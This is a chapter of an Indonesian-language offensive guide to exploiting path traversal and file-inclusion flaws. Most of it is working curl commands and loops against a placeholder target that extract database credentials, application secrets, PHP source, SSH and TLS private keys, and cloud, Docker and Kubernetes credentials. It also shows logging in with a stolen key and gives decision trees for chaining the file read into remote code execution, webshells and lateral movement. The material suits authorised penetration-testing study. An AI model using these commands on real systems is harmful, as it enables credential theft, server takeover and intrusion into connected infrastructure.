Bab 5 — Post-Exploitation via Path Traversal

5.1 Credential Extraction

Setelah berhasil path traversal / LFI, prioritas pertama adalah extract credentials:

 1# ========== Database credentials ==========
 2
 3# Laravel .env
 4curl -s "https://target.com/?file=../.env" | grep -i "DB_\|REDIS_\|MAIL_\|AWS_\|APP_KEY"
 5
 6# WordPress wp-config.php (via php://filter karena include-able)
 7curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=../wp-config" | \
 8  grep -oP '[A-Za-z0-9+/=]{100,}' | base64 -d | grep "DB_\|AUTH_KEY\|SECURE_AUTH"
 9
10# Joomla configuration.php
11curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=../configuration" | \
12  grep -oP '[A-Za-z0-9+/=]{100,}' | base64 -d | grep "host\|user\|password\|db\|secret"
13
14# Django settings.py
15curl -s "https://target.com/?file=../myproject/settings.py" | grep -i "SECRET_KEY\|PASSWORD\|DATABASE"
16
17# Spring Boot
18curl -s "https://target.com/..;/WEB-INF/classes/application.properties" | grep -i "password\|secret\|key"
19
20# Node.js
21curl -s "https://target.com/?file=../.env" | grep -i "DB_\|JWT_\|API_\|SECRET"
22curl -s "https://target.com/?file=../config/production.json"
23
24# ========== Connection strings (IIS/ASP.NET) ==========
25curl -s "https://target.com/?file=../web.config" | grep -i "connectionString\|password\|key"

5.2 Source Code Disclosure

 1# ========== php://filter untuk baca PHP source tanpa execution ==========
 2# Baca index.php
 3curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=index" | \
 4  grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d > index.php
 5
 6# Baca semua file PHP yang terlihat di source
 7# Step 1: Baca index.php → cari include/require
 8# Step 2: Recursively baca file yang di-include
 9# Step 3: Cari hardcoded credentials, SQL queries, API endpoints
10
11# Automated approach — list file dari error messages atau directory listing
12for f in index config database routes auth user admin api login register; do
13  echo "=== $f.php ==="
14  curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=$f" | \
15    grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d 2>/dev/null | head -20
16done
17
18# ========== Non-PHP: langsung read ==========
19curl -s "https://target.com/?file=../app.py" | head -50
20curl -s "https://target.com/?file=../server.js" | head -50
21curl -s "https://target.com/?file=../pom.xml"  # Java dependencies
22curl -s "https://target.com/?file=../Gemfile"   # Ruby dependencies
23curl -s "https://target.com/?file=../requirements.txt"  # Python
24curl -s "https://target.com/?file=../composer.json"  # PHP dependencies
25
26# ========== .git directory ==========
27curl -s "https://target.com/?file=../.git/config"  # git remote URLs + credentials
28curl -s "https://target.com/?file=../.git/HEAD"     # current branch

5.3 SSH Key & Private Key Theft

 1# ========== SSH keys ==========
 2# Common users: root, www-data, ubuntu, deploy, admin, git
 3for user in root ubuntu deploy admin www-data git; do
 4  echo "=== $user ==="
 5  curl -s "https://target.com/?file=../../../home/$user/.ssh/id_rsa" | head -5
 6  curl -s "https://target.com/?file=../../../home/$user/.ssh/id_ed25519" | head -5
 7  curl -s "https://target.com/?file=../../../home/$user/.ssh/id_ecdsa" | head -5
 8done
 9
10# Root SSH key
11curl -s "https://target.com/?file=../../../root/.ssh/id_rsa"
12
13# Authorized keys (siapa yang bisa login)
14curl -s "https://target.com/?file=../../../root/.ssh/authorized_keys"
15curl -s "https://target.com/?file=../../../home/deploy/.ssh/authorized_keys"
16
17# SSH config (jump hosts, proxy config)
18curl -s "https://target.com/?file=../../../home/deploy/.ssh/config"
19
20# Known hosts (server lain yang pernah diakses)
21curl -s "https://target.com/?file=../../../home/deploy/.ssh/known_hosts"
22
23# ========== SSL/TLS private keys ==========
24curl -s "https://target.com/?file=../../../etc/ssl/private/server.key"
25curl -s "https://target.com/?file=../../../etc/nginx/ssl/server.key"
26
27# ========== Gunakan SSH key yang dicuri ==========
28curl -s "https://target.com/?file=../../../home/deploy/.ssh/id_rsa" > stolen_key
29chmod 600 stolen_key
30ssh -i stolen_key deploy@target.com

5.4 Lateral Movement dari File Read

 1# ========== Informasi yang bisa dipakai untuk lateral movement ==========
 2
 3# 1. /etc/passwd → enumerate users
 4curl -s "https://target.com/?file=../../../etc/passwd" | grep -v "nologin\|false" | cut -d: -f1
 5
 6# 2. /etc/hosts & /etc/resolv.conf → internal network
 7curl -s "https://target.com/?file=../../../etc/hosts"
 8curl -s "https://target.com/?file=../../../etc/resolv.conf"
 9
10# 3. /proc/net/fib_trie → internal IP ranges
11curl -s "https://target.com/?file=../../../proc/net/fib_trie" | grep -oP '\d+\.\d+\.\d+\.\d+' | sort -u
12
13# 4. /proc/net/tcp → open connections (internal services)
14curl -s "https://target.com/?file=../../../proc/net/tcp"
15# Decode hex addresses: python3 -c "import struct; print('.'.join(str(b) for b in struct.pack('<I', 0x0100007F)))"
16
17# 5. Nginx/Apache config → virtual hosts, upstreams (internal services)
18curl -s "https://target.com/?file=../../../etc/nginx/sites-enabled/default"
19curl -s "https://target.com/?file=../../../etc/nginx/conf.d/upstream.conf"
20# proxy_pass http://10.0.1.5:8080;  → internal service
21
22# 6. Cloud credentials
23curl -s "https://target.com/?file=../../../home/ubuntu/.aws/credentials"
24curl -s "https://target.com/?file=../../../home/ubuntu/.config/gcloud/credentials.db"
25curl -s "https://target.com/?file=../../../home/ubuntu/.azure/accessTokens.json"
26
27# 7. Docker socket & config
28curl -s "https://target.com/?file=../../../home/deploy/.docker/config.json"
29# → Docker registry credentials (base64 encoded)
30
31# 8. Kubernetes config
32curl -s "https://target.com/?file=../../../home/deploy/.kube/config"
33# → cluster endpoints, tokens, certificates

5.5 Chaining LFI ke RCE ke Shell

Path Traversal / LFI ditemukan
│
├── Bisa include file? (LFI — PHP include/require)
│   ├── YES → Coba PHP wrappers
│   │   ├── php://filter chain generator → RCE ✓
│   │   ├── php://input → RCE ✓
│   │   ├── data:// → RCE ✓
│   │   └── expect:// → RCE ✓
│   │
│   ├── YES → Coba log poisoning
│   │   ├── Inject PHP ke access.log → include → RCE ✓
│   │   ├── Inject PHP ke auth.log → include → RCE ✓
│   │   └── Inject PHP ke mail.log → include → RCE ✓
│   │
│   ├── YES → Coba session/upload inclusion
│   │   ├── Inject PHP ke session → include sess_* → RCE ✓
│   │   └── Upload image+PHP → include → RCE ✓
│   │
│   └── YES → XSLT injection
│       └── php:function callback → RCE ✓
│
├── Hanya bisa baca file? (Path Traversal — file_get_contents, readfile)
│   ├── Baca credentials (.env, config, wp-config)
│   │   ├── DB credentials → login phpMyAdmin/Adminer → SQLi → RCE
│   │   ├── Admin password → login CMS panel → upload shell
│   │   └── API keys → akses service lain
│   │
│   ├── Baca SSH key
│   │   └── SSH access → full shell ✓
│   │
│   ├── Baca source code → temukan vuln lain
│   │   ├── SQL injection
│   │   ├── Command injection
│   │   ├── Deserialization
│   │   └── SSRF → cloud metadata
│   │
│   └── Baca internal network info → pivot
│       ├── /etc/hosts, /proc/net/fib_trie
│       └── Nginx/Apache config → internal services
│
└── Tidak berhasil → Coba bypass techniques (Bab 2)

5.6 Checklist Ringkasan

Path Traversal / LFI Testing
│
├─ 1. Discovery
│     ├─ Identifikasi parameter yang terima file/path input
│     ├─ Dorking: Google, Shodan, FOFA
│     ├─ Fuzz parameter: ffuf + burp-parameter-names.txt
│     └─ Nuclei scan: tags lfi,traversal
│
├─ 2. Basic test
│     ├─ ../../../etc/passwd (Linux) atau ..\..\windows\win.ini (Windows)
│     ├─ Brute depth: 1-10 levels ../
│     ├─ php://filter/convert.base64-encode/resource=index
│     └─ Absolute path: /etc/passwd
│
├─ 3. Bypass (jika basic gagal)
│     ├─ URL encoding: %2e%2e%2f
│     ├─ Double encoding: %252e%252e%252f
│     ├─ Null byte: %00 (PHP < 5.3.4)
│     ├─ Path normalization: ....// , ..;/ , ..././
│     ├─ Unicode: %c0%af, fullwidth chars
│     ├─ PHP wrappers: php://filter, data://, php://input
│     └─ WAF bypass: chunked, header, double param
│
├─ 4. Escalate ke RCE (jika LFI)
│     ├─ php://filter chain generator (NO allow_url_include needed!)
│     ├─ php://input atau data:// (allow_url_include=On)
│     ├─ Log poisoning (access.log, auth.log, mail.log)
│     ├─ Session file inclusion
│     ├─ Upload + include (image with PHP)
│     ├─ /proc/self/environ atau /proc/self/fd/
│     ├─ XSLT injection (php:function callback)
│     └─ XXE injection (file:// entity, blind OOB, SVG/DOCX upload)
│
├─ 5. Post-exploitation (file read)
│     ├─ Credentials: .env, wp-config, configuration.php, settings.py, web.config
│     ├─ Source code: php://filter → review → find more vulns
│     ├─ SSH keys: /home/*/.ssh/id_rsa, id_ed25519
│     ├─ Internal network: /etc/hosts, /proc/net/fib_trie, nginx config
│     └─ Cloud: ~/.aws/credentials, ~/.kube/config
│
├─ 6. Target-specific
│     ├─ PHP/Laravel: .env, storage/logs/laravel.log
│     ├─ WordPress: wp-config.php, wp-content/debug.log
│     ├─ Java/Tomcat: ..;/WEB-INF/web.xml, META-INF/context.xml
│     ├─ Nginx: alias traversal (/files../)
│     ├─ Apache: CVE-2021-41773/42013
│     ├─ IIS: ::$DATA, %5c, web.config
│     └─ Node.js/Python: .env, config/, settings.py
│
├─ 7. Lateral movement
│     ├─ DB credentials → akses database langsung
│     ├─ SSH key → hop ke server lain
│     ├─ Cloud credentials → infrastructure access
│     ├─ Docker/K8s config → container/cluster access
│     └─ Internal service discovery via config files
│
└─ 8. Chain ke RCE
      ├─ LFI → log poison → webshell
      ├─ File read → credentials → login panel → upload shell
      ├─ File read → SSH key → SSH access
      └─ File read → source code → find injection → RCE

Bab 6 — (Coming soon)